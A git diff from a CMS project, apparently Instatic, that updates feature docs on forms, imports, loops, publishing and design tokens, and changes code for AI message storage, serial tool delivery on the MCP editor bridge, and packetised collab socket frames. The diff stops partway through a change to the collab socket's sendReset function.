diff --git a/docs/features/cms-native-forms.md b/docs/features/cms-native-forms.md
index b318ef2cc..968ee1786 100644
--- a/docs/features/cms-native-forms.md
+++ b/docs/features/cms-native-forms.md
@@ -54,7 +54,7 @@ CMS-native submission is a two-step public flow:
 
 The submit handler reloads the latest published site snapshot, derives the form snapshot from the published page tree, requires the target `DataTable` to be a non-system `data` table, validates fields against that table, and creates a `data_rows` record with `createDataRow`. After persistence, `server/forms/handler.ts` calls `emitContentEntryCreated` from `server/publish/contentEvents.ts` with the `system` actor, so plugins can react to successful submissions through the standard `content.entry.created` channel.
 
-Validation lives in `src/core/forms/validation.ts`. It rejects unknown fields, enforces required fields, coerces table field types, applies email/url/number/select checks, applies control min/max/pattern constraints, and caps payload size.
+Validation lives in `src/core/forms/validation.ts`. It rejects unknown fields, enforces required fields, coerces table field types, applies email/url/number/select checks, applies control min/max/pattern constraints, and caps payload size. A `select` or `multiSelect` submission may carry an option's `value` (what `base.option` nodes inserted from the table hold) or its `id`; the stored cell is always the option id.
 
 ## Security
 
diff --git a/docs/features/content-storage.md b/docs/features/content-storage.md
index a025f283d..f10d8cd43 100644
--- a/docs/features/content-storage.md
+++ b/docs/features/content-storage.md
@@ -242,7 +242,7 @@ For postType rows, `publishDataRow` does the same but incrementally: writes the
 
 See [docs/features/publisher.md](publisher.md) for the full pipeline.
 
-For **post-types**, public row routes require an explicitly authored entry template (a `pages` row with `template.target = { kind: 'postTypes', tableSlugs: [table.slug] }`). When you publish a post, the renderer resolves the template chain for the entry route (`resolveTemplateChain`) and renders the merged tree with the post row pushed onto the entry stack as `currentEntry`. Dynamic bindings on the template nodes resolve `currentEntry.title`, `currentEntry.body`, etc. Without a matching entry template, the published row exists in the CMS but its public detail URL returns 404. See [docs/features/templates.md](templates.md) for the full template model.
+For **post-types**, public row routes require an explicitly authored entry template (a `pages` row with `template.target = { kind: 'postTypes', tableSlugs: [table.slug] }`). When you publish a post, the renderer resolves the template chain for the entry route (`resolveTemplateChain`) and renders the merged tree with the post row pushed onto the entry stack as `currentEntry`. Dynamic bindings on the template nodes resolve `currentEntry.title`, `currentEntry.body`, etc. Media cells — `featuredMedia` and every schema-declared `media` field, including repeater media — resolve to public `/uploads/…` paths exactly as they do inside a `data.rows` loop (`publishedDataRowToEntryItem` in `server/publish/loopPrefetch.ts`), so the same binding renders the same URL on a detail page and in a list. Without a matching entry template, the published row exists in the CMS but its public detail URL returns 404. See [docs/features/templates.md](templates.md) for the full template model.
 
 ### Scheduled publishing
 
diff --git a/docs/features/html-import.md b/docs/features/html-import.md
index 7cb7bf493..6dc7c17a4 100644
--- a/docs/features/html-import.md
+++ b/docs/features/html-import.md
@@ -158,7 +158,7 @@ The importer is "approximate by construction". Several inputs do not survive the
 | Input | What happens | Why |
 |---|---|---|
 | `alt=""` on `<img>` | Reported in `imageAlts`, not stored on the node | `base.image` has no `alt` prop — alt text lives on the media library asset, which Site Import creates with the authored value |
-| Safe HTML attributes not modeled by the matched module (`id`, ARIA attrs, `role`, custom attrs, `data-*`, etc.) | Preserved in `props.htmlAttributes` on base container/text/link/button/image nodes and editable in the Properties panel Attributes view. `class` names become registry classes, inline `style` declarations become `node.inlineStyles`, event handlers are stripped, reserved editor/runtime `data-*` names are not imported, and attributes already owned by the module (for example `href` on links and `src` on images) stay in their first-class module props. | The module schema owns modeled props; `htmlAttributes` is the safe escape hatch for extra authored attributes |
+| Safe HTML attributes not modeled by the matched module (`id`, ARIA attrs, `role`, custom attrs, `data-*`, etc.) | Preserved in `props.htmlAttributes` on base container/text/link/button/image nodes and editable in the Properties panel Attributes view. `class` names become registry classes, inline `style` declarations become `node.inlineStyles`, event handlers are stripped, reserved editor/runtime `data-*` names are not imported, and attributes already owned by the module (for example `href` on links and `src` on images) stay in their first-class module props. An authored `rel` on a link or button anchor is kept in the bag; at render time the module merges it with the `noopener noreferrer` it adds for `target="_blank"` and emits one `rel` attribute. | The module schema owns modeled props; `htmlAttributes` is the safe escape hatch for extra authored attributes |
 | Exact inline whitespace around mixed content (`<div>Hello <em>world</em></div>`) | Approximated | Each text run becomes a `base.text` child with `tag: 'none'` and whitespace collapsed to single spaces. True parent-edge indentation is trimmed, but a single boundary space is preserved around element siblings so `Hello <em>world</em>` does not become `Helloworld`. The text itself is **preserved** and publishes without an extra wrapper. |
 | Whitespace-only text (newlines/indentation between tags) | Dropped in normal flow; preserved verbatim inside `<pre>` | Normal-flow indentation carries no rendered content, while `<pre>` whitespace is content and must retain its literal DOM text-node shape for CSS and runtime scripts. |
 | Void elements (`<br>`, `<hr>`, etc.) | Imported as a childless `base.container` node with `tag:'custom'` and the real tag name as `customTag`. No children, no empty-container placeholder. `<input>` imports as a form primitive instead. | React throws if children are rendered inside void element tags; the dedicated void-element rule (before the catch-all) sets `recurse:false` and the canvas renderer skips children entirely for void tags. |
diff --git a/docs/features/loops.md b/docs/features/loops.md
index b18364eda..f4183bb40 100644
--- a/docs/features/loops.md
+++ b/docs/features/loops.md
@@ -116,7 +116,7 @@ Iterates rows in any `data_table`. The user picks the table in the Properties pa
 
 **Filtering by a cell.** Three `filters` keys carry the condition: `cellField` (a field id from the selected table), `cellOperator`, and `cellValue`. The operator set is closed — `is`, `isNot`, `isTrue`, `isFalse`, `isSet`, `isEmpty` — and `parseCellFilter` in `src/core/loops/cellFilter.ts` returns `null` for anything absent or half-configured, so a loop mid-edit keeps listing everything rather than silently emptying.
 
-**Sorting by a cell.** `orderBy` also accepts `cell:<fieldId>`, read by `parseCellOrder`. Riding on `orderBy` rather than a separate prop means every caller that already threads it — the publisher, the canvas preview endpoint, imported `data-order-by` attributes — supports cell sorting without further plumbing. Values compare as text in both dialects: ISO dates sort chronologically, numbers sort lexicographically (`'10' < '9'`).
+**Sorting by a cell.** `orderBy` also accepts `cell:<fieldId>`, read by `parseCellOrder`. Riding on `orderBy` rather than a separate prop means every caller that already threads it — the publisher, the canvas preview endpoint, imported `data-order-by` attributes — supports cell sorting without further plumbing. Number fields use numeric comparison in both dialects; missing, null and non-number values sort last in either direction. Other scalar fields compare as text, so ISO dates sort chronologically. Field metadata selects the comparison type: authors keep actual numbers in their cells rather than formatting values to influence ordering.
 
 Both read `cells_json`, the one place the two dialects genuinely differ (`#>> array[$n]` on Postgres, `json_extract` on SQLite). **The field name binds as a parameter, never as SQL text.** `cellFilterSql` and `cellOrderSql` own that switch; `loop-source-sql-safety.test.ts` scans the whole `src/core/loops/` tree for Postgres-isms.
 
diff --git a/docs/features/mcp-connectors.md b/docs/features/mcp-connectors.md
index bb504abba..ee8c19d93 100644
--- a/docs/features/mcp-connectors.md
+++ b/docs/features/mcp-connectors.md
@@ -144,7 +144,7 @@ executeAiTool(...) / live editor bridge
 | `contentAuthorization.ts` | Before a document tool is relayed to the browser, resolves the target row through `server/auth/dataAccess.ts` with the connection's own identity and capabilities (table family plus own-vs-any ownership), so the owner's admin cookie cannot widen the delegated grant. |
 | `transports/http.ts` | Authenticated, Origin-validated `createMcpHandler` entry for MCP 2026-07-28 plus the stateless 2025 fallback. |
 | `server.ts` / `registry.ts` | Low-level SDK server, TypeBox input schemas, catalog deduplication, and capability filtering. |
-| `editorBridge.ts` | Per-user, per-scope live workspace bridge. The stream carries an **idle lease** (120s, re-armed by every relayed tool request) so an active batch is never cut mid-flight; only quiet streams recycle. The workspace's reconnect loop (`useMcpWorkspaceBridge`) reopens a recycled healthy stream immediately off the stream-end network event — deliberately timer-free, because hidden webviews (backgrounded browser tabs) clamp timers to minutes while network events still fire — and a tab becoming visible short-circuits any pending retry delay. |
+| `editorBridge.ts` | Per-user, per-scope live workspace bridge. Tool requests are delivered **serially** (the next is pushed only once the previous settles, matching the editor's one-at-a-time execution), so each call's 90s timeout measures the editor's actual work, not time queued behind slower calls. The stream carries an **idle lease** (120s, re-armed by every relayed tool request and never expiring while a call is pending) so an active batch is never cut mid-flight; only quiet streams recycle. The workspace's reconnect loop (`useMcpWorkspaceBridge`) reopens a recycled healthy stream immediately off the stream-end network event — deliberately timer-free, because hidden webviews (backgrounded browser tabs) clamp timers to minutes while network events still fire — and a tab becoming visible short-circuits any pending retry delay. |
 | `tools/publishTool.ts` | Explicit canonical full-site publish with MCP audit metadata. |
 | `tools/uploadMediaTool.ts` | Server-resolved image upload (`media_upload`) — inline base64 or SSRF-guarded `sourceUrl` download, through the shared media pipeline. |
 
diff --git a/docs/features/modules.md b/docs/features/modules.md
index b61509d49..9b59b0099 100644
--- a/docs/features/modules.md
+++ b/docs/features/modules.md
@@ -51,7 +51,7 @@ src/modules/base/
 ├── slotOutlet/          — base.slot-outlet (VC author side)
 ├── slotInstance/        — base.slot-instance (VC consumer side)
 ├── shared/
-│   └── anchorTarget.ts  — AnchorTargetSchema, ANCHOR_TARGET_OPTIONS, anchorRel() (button + link)
+│   └── anchorTarget.ts  — AnchorTargetSchema, ANCHOR_TARGET_OPTIONS, anchorRel(), mergeAnchorRel(), anchorHtmlAttributes() (button + link)
 ├── utils/
 │   ├── escape.ts        — escapeHtml, safeUrl, sanitiseCssValue, buildStyle (re-exports publisher utils)
 │   ├── htmlTag.ts       — htmlTagControl, customHtmlTagControl (resolution lives in @core/htmlAttributes)
diff --git a/docs/features/publisher.md b/docs/features/publisher.md
index c31f99cf6..89fef0b68 100644
--- a/docs/features/publisher.md
+++ b/docs/features/publisher.md
@@ -320,7 +320,10 @@ The exclusive namespaces `/_instatic/css/*` (`serveSiteCss`) and `/_instatic/ass
 (`tryServeRuntimeAsset`) are served **disk-first**, falling back to a rebuild
 (`serveSiteCss`) or the DB (`published_runtime_assets`) only for preview or a
 publish whose disk write failed. Unknown paths under either prefix 404 rather
-than falling through.
+than falling through. Each full publish prunes the stored
+`published_runtime_assets` of every page version except the one it activates
+and the one it supersedes (`pruneSupersededRuntimeAssets` in
+`server/repositories/publish.ts`); version rows themselves are kept.
 
 ---
 
diff --git a/docs/features/site-import.md b/docs/features/site-import.md
index de6093e12..041964b7a 100644
--- a/docs/features/site-import.md
+++ b/docs/features/site-import.md
@@ -15,7 +15,7 @@ CSS declarations containing `var()`, `env()`, `clamp()`, `min()`, or `max()` pas
 - **Per-stylesheet import modes:** each top-level linked stylesheet either converts to editable style rules (default) or imports verbatim as a page-scoped `SiteFile` stylesheet (`options.stylesheetModes`, picked in the Review step). There are no generated scope classes — page isolation comes from the kept file's runtime scope.
 - `commitImportPlan(plan, adapter)` — uploads assets, then wraps all store writes in a single `adapter.commit` call → one Cmd+Z reverts the whole import.
 - Static imports load the current CMS draft into the editor store on demand when launched outside `/admin/site`; if no draft exists, the modal creates an empty site before analysis.
-- Conflict resolution: rename with a numeric suffix (default), overwrite, skip, or custom-rename — per page slug, per class name, per design token (colour / font CSS variable), and per divergent cross-stylesheet class definition, with category-level bulk actions. Token renames rewrite `var(--x)` references so imports stay faithful.
+- Conflict resolution: rename with a numeric suffix (default), overwrite, skip, or custom-rename — per page slug, per class name, per design token (colour / font CSS variable), and per divergent cross-stylesheet class definition, with category-level bulk actions. Token renames rewrite `var(--x)` references, and declarations of the same variable in other rules, so imports stay faithful.
 - What imports: pages, linked CSS plus unconditional local CSS `@import` graphs, `kind:'class'` and `kind:'ambient'` style rules, stylesheets kept as page-scoped files, `@keyframes`, uploadable media/font files, root CSS color tokens, root CSS font tokens, `@font-face` families, known external font stylesheet imports, safe extra HTML attributes on base modules, body-level classes/attributes/style metadata, bare DOM text nodes in mixed content, and executable HTML scripts as page-scoped runtime scripts. Module-script imports from known npm CDNs are rewritten to bare package imports and added to the site dependency manifest.
 - CMS bundle import preserves selected exported tables, rows, optional site shell, media, folders, and redirects using the same merge strategies as site transfer (`replace`, `merge-add`, `merge-overwrite`).
 - HTML forms import through the shared HTML importer as first-class form primitives (`base.form`, controls, labels, submit buttons), not as custom containers.
@@ -46,6 +46,8 @@ src/core/siteImport/
 ├── applyAssetRewrites.ts — patch fragment props + CSS/@keyframes url() with new media URLs (post-upload)
 ├── linkRewrite.ts       — rewrite intra-site <a href> to cms:page:<id> refs
 ├── conflicts.ts         — detect page-slug + class-name + design-token collisions; apply resolutions (incl. var(--x) rewrites)
+├── tokenNames.ts        — settle the emitted name of every imported colour + font token (authored → emitted renames)
+├── varRefs.ts           — rename a custom property across imported rules, inline styles and @keyframes (var(--x) refs + --x declarations)
 ├── adapter.ts           — SiteImportAdapter + SiteImportTransaction interfaces (the ONE transaction contract; the editor store implements it directly)
 ├── paths.ts             — dirname/joinPaths for FileMap-relative path resolution
 ├── planCss.ts           — single CSS-source parse path (external sheets + per-page inline <style>) feeding shared plan accumulators
@@ -208,9 +210,9 @@ interface ImportScript {
 | **HTML attributes** | Safe extra attributes on ordinary elements (`id`, ARIA, `role`, custom attrs, `data-*`, etc.) | Stored as `props.htmlAttributes` on base container/text/link/button/image modules so CSS selectors, anchors, classic scripts, accessibility attributes, and template runtime hooks such as `data-bg-src`, `data-aos`, and `data-bs-*` survive import. Users edit the same bag in the Properties panel's Attributes view. `class` is handled by the selector registry, inline `style` becomes `node.inlineStyles`, event handlers are stripped, and reserved Instatic/editor `data-*` names are not imported. Local asset URLs inside these attributes are uploaded and rewritten. |
 | **Style rules** | All rules from linked CSS files and their unconditional local `@import` graph | `expandLinkedCssImports` follows bundled local CSS imports first, then `cssToStyleRules` maps selector declaration blocks to `NewStyleRule` entries (class or ambient kind) and stores supported stylesheet-level rules such as `@keyframes` as ambient raw CSS rules |
 | **Media** | Uploadable images (JPEG, PNG, GIF, WebP, AVIF, SVG), videos, and fonts — including unreferenced files in the bundle | `buildAssetPlan` collects referenced assets and sweeps uploadable unreferenced files. Source companions such as `.scss`, sourcemaps, PHP mailers, `desktop.ini`, and README files are excluded before upload. An `<img>`'s authored `alt` is carried onto the asset and stored on the Media Library record at upload; `loading`, `decoding`, and `fetchpriority` map onto the Image module's first-class props when they hold a value the module offers (anything else keeps the module default). Uploaded assets are filed under folders mirroring their bundle path; a folder failure leaves the asset at the media root with an `asset-folder-failed` warning and never blocks the URL rewrite. |
-| **Color tokens** | CSS custom properties on `:root` / `html` / `body` that look like colours | `extractRootColorTokens` pulls them into `ImportColorToken[]`; they become framework palette tokens. The framework parses hex, rgb/rgba, and hsl/hsla into channels (deriving shades/tints/transparent steps); any other authored value (oklch(), color-mix(), …) still emits its base `--<slug>` verbatim so `var(--x)` references never break. A `--<slug>` that collides with an existing colour token surfaces as a `TokenConflict` (rename / skip / overwrite) |
+| **Color tokens** | CSS custom properties on `:root` / `html` / `body` that look like colours | `extractRootColorTokens` pulls them into `ImportColorToken[]`; they become framework palette tokens. The framework parses hex, rgb/rgba, and hsl/hsla into channels (deriving shades/tints/transparent steps); any other authored value (oklch(), color-mix(), …) still emits its base `--<slug>` verbatim so `var(--x)` references never break. The slug is the framework's normalised form (`--brand---neutral--700` → `--brand-neutral-700`), settled at plan time by `normalizeImportedTokens` (`tokenNames.ts`); every imported `var()` reference and declaration of a renamed name is rewritten to it, and two names that normalise to the same slug both survive (the one already in normalised form keeps it, the other takes a `-2` suffix). A `--<slug>` that collides with an existing colour token surfaces as a `TokenConflict` (rename / skip / overwrite) |
 | **Fonts** | Self-hosted `@font-face` families with at least one bundled file, plus trusted Google CSS2 imports | `buildFontFamilies` in `assetPlan.ts` picks the best bundled format (woff2 → woff → ttf → otf); `extractGoogleFontImports` turns Google CSS2 `@import` rules into install requests. Commit uploads custom files via `tx.addFonts`, installs Google families through the CMS Google-font installer, then merges those returned `FontEntry` records via `tx.addInstalledFonts` |
-| **Font tokens** | Root `--font-*` variables with font-family stacks | `extractRootFontTokens` pulls them into `ImportFontToken[]`; committed via `tx.addFontTokens` after fonts so matching imported families can be assigned. A `--font-*` that collides with an existing font token surfaces as a `TokenConflict` (rename / skip / overwrite) |
+| **Font tokens** | Root `--font-*` variables with font-family stacks | `extractRootFontTokens` pulls them into `ImportFontToken[]`. The variable is the store's normalised form (`--font-Heading` → `--font-heading`), settled at plan time by `normalizeImportedTokens` together with the colour slugs (both kinds share one CSS namespace, so neither takes the other's name): references and declarations of a renamed name are rewritten, and two names that normalise to the same variable both survive. Committed via `tx.addFontTokens` after fonts so matching imported families can be assigned. A `--font-*` that collides with an existing font token surfaces as a `TokenConflict` (rename / skip / overwrite) |
 | **Scripts** | Executable inline scripts and JS files linked by imported HTML | Ordered so every page's document order holds at once (see `priority` above) and committed via `tx.addScripts` with page scope from the source HTML. Classic scripts remain plain `<script>` assets and bypass bundling; `type="module"` scripts keep module semantics. Module imports from known npm CDNs (`esm.sh`, `esm.run`, `unpkg`, jsDelivr npm URLs) are rewritten to bare package specifiers and recorded as runtime dependencies, so `https://esm.sh/@motion.page/sdk@1.2.4` becomes `@motion.page/sdk` plus `@motion.page/sdk: 1.2.4` in `packageJson.dependencies`. Non-executable script data such as `application/json`, import maps, and templates is skipped. |
 | **Stylesheets (kept)** | Top-level linked sheets the user opted into `mode: 'file'` | Flattened `@import` graph, Google imports stripped, `url()` normalised; committed via `tx.addStylesheets` as a `SiteFile` (`type: 'style'`) + `site.runtime.styles` entry scoped to the linking pages. Editable afterwards in the Site panel's Styles section and the code editor. |
 
@@ -296,7 +298,7 @@ The escape hatch for "this sheet's resets/styles must not leak into other pages
 
 - **`PageConflict`** — a desired slug collides with an existing page slug or with another slug in the same import batch.
 - **`RuleConflict`** — a `kind:'class'` rule's name collides with an existing class name. Ambient rules never conflict. One row per name even when the name arrives as several cascade fragments (they rename together).
-- **`TokenConflict`** — a design-token CSS custom property collides with an existing token. One type covers both colour tokens (keyed by `--<slug>`, against `framework.colors.tokens`) and font tokens (keyed by `--font-*`, against `fonts.tokens`), since both are just a `--var` contract referenced by `var(--x)` in the imported CSS. Imported tokens are deduped per kind upstream, so only site-vs-import collisions occur. Token conflicts default to auto-rename, with one exception: when the existing font token is an untouched seeded role token (`font-heading`, `font-body` or `font-mono` with its seeded name and fallback and no bound family, checked by `isUntouchedFontRoleToken` in `src/core/fonts/roles.ts`), the default is overwrite. The imported family and fallback land on the role token and imported rules keep `var(--font-body)`, so importing into a new site behaves as if the token were absent. A role token the user has edited keeps the rename default.
+- **`TokenConflict`** — a design-token CSS custom property collides with an existing token. One type covers both colour tokens (keyed by `--<slug>`, against `framework.colors.tokens`) and font tokens (keyed by `--font-*`, against `fonts.tokens`), since both are just a `--var` contract referenced by `var(--x)` in the imported CSS. Imported tokens are deduped per kind upstream, so only site-vs-import collisions occur. A rename target also skips the import's other token names and every custom property the imported CSS declares, so a renamed token never lands on a variable that is already in use. Token conflicts default to auto-rename, with one exception: when the existing font token is an untouched seeded role token (`font-heading`, `font-body` or `font-mono` with its seeded name and fallback and no bound family, checked by `isUntouchedFontRoleToken` in `src/core/fonts/roles.ts`), the default is overwrite. The imported family and fallback land on the role token and imported rules keep `var(--font-body)`, so importing into a new site behaves as if the token were absent. A role token the user has edited keeps the rename default.
 - **`CrossSheetClassConflict`** — two imported page cascades define the same class differently (see "Cross-sheet class conflicts" above). Keyed by `(desiredName, definitionId)`; resolutions apply FIRST in `applyConflictResolutions` so a renamed definition no longer participates in the site-vs-import conflict on the original name.
 
 Page slugs can be slash-delimited public paths. Root `index.html` stays the homepage slug `index`; nested `index.html` files use their directory route, so `documentation/index.html` imports as `/documentation` and does not collide with `download-version/index.html`.
diff --git a/docs/features/site-shell.md b/docs/features/site-shell.md
index 7ef00176b..73ed1c1de 100644
--- a/docs/features/site-shell.md
+++ b/docs/features/site-shell.md
@@ -621,6 +621,15 @@ frames before any decode work, and every awareness frame is decoded and
 checked against the session — a state claiming another user's identity
 (`state.user.id !== session user`) is dropped, so presence can't be spoofed.
 
+Stored snapshots can exceed a socket's outbound buffer. The server sends
+these through `collabFramePackets` in 256 KiB packets, waiting for drain
+between buffered direct sends. Broadcast updates use the same packet format.
+The client reconstructs each complete frame before applying it to Yjs;
+interleaved transfers are bounded to four documents and 64 MiB total and
+discarded on disconnect. Incoming write and awareness caps remain unchanged.
+The shared framing code lives in `src/core/collab/frameTransfer.ts`;
+real-socket coverage lives in `collabLargeDelivery.test.ts`.
+
 **Client transport** (`src/admin/pages/site/collab/collabProvider.ts`): one
 socket, every bound doc multiplexed; local transactions send updates the
 moment they commit (no flush window to lose on unload); reconnect uses
diff --git a/docs/features/templates.md b/docs/features/templates.md
index 6b5042df6..ff9d1a37a 100644
--- a/docs/features/templates.md
+++ b/docs/features/templates.md
@@ -238,7 +238,7 @@ Source: `src/core/templates/tokenInterpolation.ts`.
 
 `resolveDynamicProps` walks a node's props and interpolates:
 
-- **every string-typed prop** — `text`, `href`, `src`, `alt`, and any module's own string prop. Richtext prop keys (`html`, `richtext`, `*html`, `*richtext`) additionally render the interpolated value as markdown, then sanitise the result with `sanitizeRichtext`. The editor canvas injects these through `dangerouslySetInnerHTML` and never runs the publisher's `escapeProps`, so the sanitiser has to live here for both surfaces to be safe.
+- **every string-typed prop** — `text`, `href`, `src`, `alt`, and any module's own string prop. Richtext prop keys (`html`, `richtext`, `*html`, `*richtext`) additionally render the interpolated value as markdown, then sanitise the result with `sanitizeRichtext`. The editor canvas injects these through `dangerouslySetInnerHTML` and never runs the publisher's `escapeProps`, so the sanitiser has to live here for both surfaces to be safe. Richtext content (entry bodies, bound and stored richtext props) uses the `RICHTEXT_CONTENT_CONFIG` profile, which admits `<img>`, `<figure>` and `<figcaption>` but keeps an image `src` only when it is http(s) or a same-origin relative path; the default profile used by admin surfaces such as the AI chat stays image-free.
 - **every value inside `htmlAttributes`** — the one prop holding strings a level down. An author writing `src="{currentEntry.video-link}"` on a custom tag gets the same substitution a first-class `href` prop gets. Attribute values are never markdown-rendered: an attribute is a value, not a body.
 
 Nothing else is descended into. `filters` on a loop, for example, is a free-form bag whose values are configuration rather than authored output.
diff --git a/server/ai/conversations/store.ts b/server/ai/conversations/store.ts
index a953a75d4..cf0bfdf93 100644
--- a/server/ai/conversations/store.ts
+++ b/server/ai/conversations/store.ts
@@ -432,8 +432,9 @@ export async function appendMessage(
     const cacheReadTokens = input.cacheReadTokens ?? 0
     const cacheCreationTokens = input.cacheCreationTokens ?? 0
 
-    // Pass content as a plain array; the DB boundary handles JSON
-    // encoding/decoding for `_json` columns.
+    // Serialize content explicitly: on Postgres `content_json` is `text`, and
+    // Bun binds a plain array to a text parameter via String(), storing
+    // '[object Object]'. Reads JSON.parse `_json` strings on both dialects.
     const { rows: msgRows } = await tx<MessageRow>`
       insert into ai_messages (
         id, conversation_id, position, role, content_json,
@@ -442,7 +443,7 @@ export async function appendMessage(
         cache_read_tokens, cache_creation_tokens
       )
       values (
-        ${id}, ${conversationId}, ${position}, ${input.role}, ${input.content},
+        ${id}, ${conversationId}, ${position}, ${input.role}, ${JSON.stringify(input.content)},
         ${input.toolCallId ?? null}, ${input.toolName ?? null},
         ${promptTokens}, ${completionTokens}, ${costUsd},
         ${cacheReadTokens}, ${cacheCreationTokens}
diff --git a/server/ai/mcp/editorBridge.ts b/server/ai/mcp/editorBridge.ts
index 58a71f9c5..ebdc2bcf3 100644
--- a/server/ai/mcp/editorBridge.ts
+++ b/server/ai/mcp/editorBridge.ts
@@ -88,6 +88,7 @@ export function createEditorBridgeStream(
 
       let bridgeId = ''
       let destroyBridge = (): void => {}
+      let pendingCount = (): number => 0
       let heartbeat: ReturnType<typeof setInterval> | null = null
       let lease: ReturnType<typeof setTimeout> | null = null
 
@@ -117,7 +118,14 @@ export function createEditorBridgeStream(
       const armLease = (): void => {
         if (closed) return
         if (lease) clearTimeout(lease)
-        lease = setTimeout(cleanup, idleLeaseMs)
+        lease = setTimeout(() => {
+          // Never recycle under a pending call: that rejected it while the
+          // editor was still working on it (its result then 404'd). Every
+          // pending call is bounded by the relay's per-call timeout, so an
+          // orphaned stream still drains and closes.
+          if (pendingCount() > 0) armLease()
+          else cleanup()
+        }, idleLeaseMs)
       }
 
       const emit = (event: AiStreamEvent): void => {
@@ -125,17 +133,21 @@ export function createEditorBridgeStream(
         try {
           controller.enqueue(encodeStreamEvent(event))
           // Tool traffic proves the stream is wanted — keep the idle lease
-          // from expiring under an active batch. (The relay's own per-call
-          // timeout is 90s, comfortably inside the lease.)
+          // from expiring under an active batch.
           armLease()
         } catch {
           cleanup()
         }
       }
 
-      const created = createBridge(emit, signal)
+      // Serial: the editor runs relayed tools strictly one at a time, so
+      // pushing a whole batch at once only started every call's timeout (and
+      // the idle lease) early — queued calls timed out, or the lease closed the
+      // stream mid-batch, while the tab was still working through earlier ones.
+      const created = createBridge(emit, signal, undefined, undefined, { serial: true })
       bridgeId = created.bridgeId
       destroyBridge = created.destroy
+      pendingCount = created.pendingCount
 
       // Newest instance of this workspace wins. The user's other workspace
       // remains connected, so Site and Content may serve MCP simultaneously.
diff --git a/server/ai/runtime/transport.ts b/server/ai/runtime/transport.ts
index c6cebf784..284ec72d7 100644
--- a/server/ai/runtime/transport.ts
+++ b/server/ai/runtime/transport.ts
@@ -79,16 +79,55 @@ export function createBridge(
   signal?: AbortSignal,
   timeoutMs: number = BROWSER_TOOL_TIMEOUT_MS,
   onSnapshot?: (snapshot: unknown) => void,
+  options: {
+    /**
+     * Deliver one tool request at a time: the next queued call is emitted only
+     * once the previous one settles, and each call's timeout starts when it is
+     * emitted. For consumers that execute requests strictly in order (the MCP
+     * editor bridge) this makes the timeout measure the browser's actual work
+     * instead of time spent queued behind slower calls.
+     */
+    serial?: boolean
+  } = {},
 ): {
   bridgeId: string
   bridge: AiBrowserBridge
   destroy: () => void
+  /** Calls awaiting a result, queued or emitted. */
+  pendingCount: () => number
 } {
   const bridgeId = nanoid()
   const entry: BridgeEntry = { pending: new Map(), emit, onSnapshot }
   activeBridges.set(bridgeId, entry)
   let destroyed = false
 
+  // Serial delivery: `busy` while an emitted call is outstanding; queued calls
+  // wait in `waiting` until it settles.
+  const waiting: Array<() => void> = []
+  let busy = false
+  const acquire = (start: () => void): void => {
+    if (!options.serial) return start()
+    if (busy) {
+      waiting.push(start)
+      return
+    }
+    busy = true
+    start()
+  }
+  const release = (): void => {
+    if (!options.serial) return
+    busy = false
+    if (destroyed || signal?.aborted) {
+      waiting.length = 0
+      return
+    }
+    const next = waiting.shift()
+    if (next) {
+      busy = true
+      next()
+    }
+  }
+
   const bridge: AiBrowserBridge = {
     callBrowser(toolName, input) {
       if (destroyed) {
@@ -96,6 +135,12 @@ export function createBridge(
       }
       const requestId = nanoid()
       return new Promise<AiToolOutput>((resolve, reject) => {
+        if (signal?.aborted) {
+          reject(new Error('AI chat stream aborted before tool result arrived.'))
+          return
+        }
+        let timer: ReturnType<typeof setTimeout> | null = null
+        let started = false
         // Settle (and remove) the pending wait on timeout or client disconnect
         // so a non-responding browser can never hang the SDK stream or leak the
         // bridge entry (ISS-030).
@@ -106,24 +151,28 @@ export function createBridge(
           live.cleanup()
           reject(err)
         }
-        const timer = setTimeout(
-          () => settle(new Error(`Browser tool "${toolName}" result timed out.`)),
-          timeoutMs,
-        )
         const onAbort = () => settle(new Error('AI chat stream aborted before tool result arrived.'))
+        const start = () => {
+          started = true
+          timer = setTimeout(
+            () => settle(new Error(`Browser tool "${toolName}" result timed out.`)),
+            timeoutMs,
+          )
+          emit({ type: 'toolRequest', requestId, toolName, input })
+        }
         const cleanup = () => {
-          clearTimeout(timer)
+          if (timer) clearTimeout(timer)
           signal?.removeEventListener('abort', onAbort)
+          if (started) release()
+          else {
+            const queued = waiting.indexOf(start)
+            if (queued !== -1) waiting.splice(queued, 1)
+          }
         }
 
-        if (signal?.aborted) {
-          clearTimeout(timer)
-          reject(new Error('AI chat stream aborted before tool result arrived.'))
-          return
-        }
         signal?.addEventListener('abort', onAbort, { once: true })
         entry.pending.set(requestId, { resolve, reject, cleanup })
-        emit({ type: 'toolRequest', requestId, toolName, input })
+        acquire(start)
       })
     },
   }
@@ -149,7 +198,7 @@ export function createBridge(
     activeBridges.delete(bridgeId)
   }
 
-  return { bridgeId, bridge, destroy }
+  return { bridgeId, bridge, destroy, pendingCount: () => entry.pending.size }
 }
 
 /**
diff --git a/server/collab/socket.ts b/server/collab/socket.ts
index 790b99203..f0ac63d16 100644
--- a/server/collab/socket.ts
+++ b/server/collab/socket.ts
@@ -55,6 +55,8 @@ import type { DbClient } from '../db/client'
 import { jsonResponse } from '../http'
 import { BranchGoneError } from './relayBranches'
 import type { CollabRelay, RelayDoc } from './relay'
+import { createSocketFlow } from './socketFlow'
+import { collabFramePackets } from '@core/collab'
 
 export { SITE_SOCKET_PATH }
 
@@ -244,6 +246,12 @@ interface CollabPublisher {
  * awareness instance.
  */
 export function createCollabSocketLayer(relay: CollabRelay) {
+  const flows = new WeakMap<ServerWebSocket<CollabSocketData>, ReturnType<typeof createSocketFlow>>()
+  function flowFor(ws: ServerWebSocket<CollabSocketData>) {
+    let flow = flows.get(ws)
+    if (!flow) { flow = createSocketFlow(ws); flows.set(ws, flow) }
+    return flow
+  }
   let publisher: CollabPublisher | null = null
   const presenceDoc = new Y.Doc()
   const awareness = new awarenessProtocol.Awareness(presenceDoc)
@@ -254,10 +262,8 @@ export function createCollabSocketLayer(relay: CollabRelay) {
     if (!publisher) return
     const encoder = encoding.createEncoder()
     syncProtocol.writeUpdate(encoder, update)
-    publisher.publish(
-      docTopic(docId),
-      encodeCollabFrame(docId, generation, FRAME_SYNC, encoding.toUint8Array(encoder)),
-    )
+    const frame = encodeCollabFrame(docId, generation, FRAME_SYNC, encoding.toUint8Array(encoder))
+    for (const packet of collabFramePackets(frame)) publisher.publish(docTopic(docId), packet)
   })
   relay.onReset((docId) => {
     // The lineage this frame refers to is already gone, so it carries none.
@@ -268,12 +274,12 @@ export function createCollabSocketLayer(relay: CollabRelay) {
   })
 
   /** Tell one connection its doc was dropped, and why. */
-  function sendReset(
+  async function sendReset(
     ws: ServerWebSocket<CollabSocketData>,
     docId: string,
